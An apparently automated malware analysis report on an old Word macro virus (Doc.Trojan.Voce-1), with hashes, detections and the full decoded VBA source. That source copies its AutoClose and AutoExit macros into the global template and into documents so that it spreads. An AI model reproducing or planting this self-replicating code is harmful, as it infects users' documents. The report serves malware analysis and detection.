Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52d37e4866bf84f1…

MALICIOUS

Office (OLE)

39.5 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 440ae93ca9760e9a08b5bad00876fb30 SHA-1: 0122cf4b301a59cecc6beaf9378c1a941826afbd SHA-256: 52d37e4866bf84f16cd49e54024722329e567bff023f19b3d500ce1a180437cb
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros, specifically an AutoClose macro, which is a known technique for executing malicious code when a document is closed. The script attempts to copy itself to global templates and checks for existing infections, indicating a worm-like behavior. The ClamAV detection 'Doc.Trojan.Voce-1' further supports its malicious nature. The macro's intent is to infect other documents by copying its AutoClose and AutoExit routines to global templates.

Heuristics 4

  • ClamAV: Doc.Trojan.Voce-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Voce-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1971 bytes
SHA-256: a3c8d5079712b8679ece542300d60be79ee8663dd0b8c071150214575d699fc7
Detection
ClamAV: Doc.Trojan.Voce-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
    Infectar
End Sub

Private Sub Infectar()
Dim Infectado
Infectado = VerificaVitima(0)
If Infectado = 0 Then
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoExit", "Global:AutoExit"
Else
    Infectado = VerificaVitima(1)
    If Infectado = 0 Then

        WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
        WordBasic.MacroCopy "Global:AutoExit", WordBasic.[WindowName$]() + ":AutoExit"
    End If
End If
End Sub

Private Function VerificaVitima(Contexto)
Dim QtdadeMacros
Dim Infectado
Dim MAP0997
Dim i
    QtdadeMacros = WordBasic.CountMacros(Contexto)
    Infectado = 0
    MAP0997 = 0
    If QtdadeMacros > 0 Then
        For i = 1 To QtdadeMacros
            If WordBasic.[MacroName$](i, Contexto) = "AutoClose" Or MAP0997 = 1 Then
                MAP0997 = 1
                If WordBasic.[MacroName$](i, Contexto) = "AutoExit" Then
                    Infectado = 1
                End If
            End If
        Next
    End If
    VerificaVitima = Infectado
End Function

Attribute VB_Name = "AutoExit"

Private Sub Mensagem()
Dim Atraso
Dim fim
    If (WordBasic.Day(WordBasic.Now()) = 28 And WordBasic.Month(WordBasic.Now()) = 7) Then
        WordBasic.MsgBox "Parabéns para mim! ", "Meu aniversário", -8
        Atraso = 3
    Else
        WordBasic.MsgBox "Fechando 2807M! ", "Nova Vítima", -8
        Atraso = 1
    End If
    fim = WordBasic.Second(WordBasic.Now()) + 1
    While WordBasic.Second(WordBasic.Now()) <> fim
    Wend
End Sub

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